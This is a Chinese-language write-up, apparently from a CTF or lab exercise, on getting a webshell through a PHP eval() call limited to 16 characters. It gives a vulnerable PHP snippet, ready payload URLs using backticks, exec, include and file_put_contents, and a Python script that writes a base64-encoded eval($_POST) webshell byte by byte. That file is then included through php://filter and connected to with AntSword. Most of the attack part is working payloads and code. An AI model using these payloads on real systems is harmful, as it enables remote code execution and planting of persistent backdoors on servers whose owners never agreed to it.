EVAL长度限制突破技巧
PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?
写一段限制长度在小于17位的字符,拿下webshell
<?php
highlight_file(__FILE__);
$param = $_REQUEST['param'];
if (
strlen($param) < 17 &&
stripos($param, 'eval') === false &&
stripos($param, 'assert') === false
) {
eval($param);
}
1.`$_GET[1]` (10位)
直接解:
http://192.168.176.142/testone.php?param=echo `$_GET[1]`;&1=id
;后面,没有限制,限制的是param,echo用来检验,算在其中,
exec($_GET[1]);(15位)
也可以在这里使用,想看打印,放在;后面,我们可以给aaaaa.php里写东西
http://192.168.176.142/testone.php?param=exec($_GET[1]);&1=echo '<?php phpinfo();'> aaaaa.php
2.include$_GET[1];
本地文件包含的利用
向服务器写入文件并包含
既然文件要利用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?
这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
param=$_GET[a](N,a,8);&a=file_put_contents
刚好16位
file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了file_put_contents,error_log函数效果也类似。
但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如 code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。
于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。
我们把PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==写入N中
脚本如下:
import requests
string = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='
for i in string:
payload = 'http://192.168.176.142/testone.php?1=file_put_contents¶m=$_GET[1](N,%s,8);' % i
response = requests.get(payload)
if response.status_code == 200:
print(i)
写入成功:
我们拿蚁剑试着连接:
http://192.168.176.142/testone.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N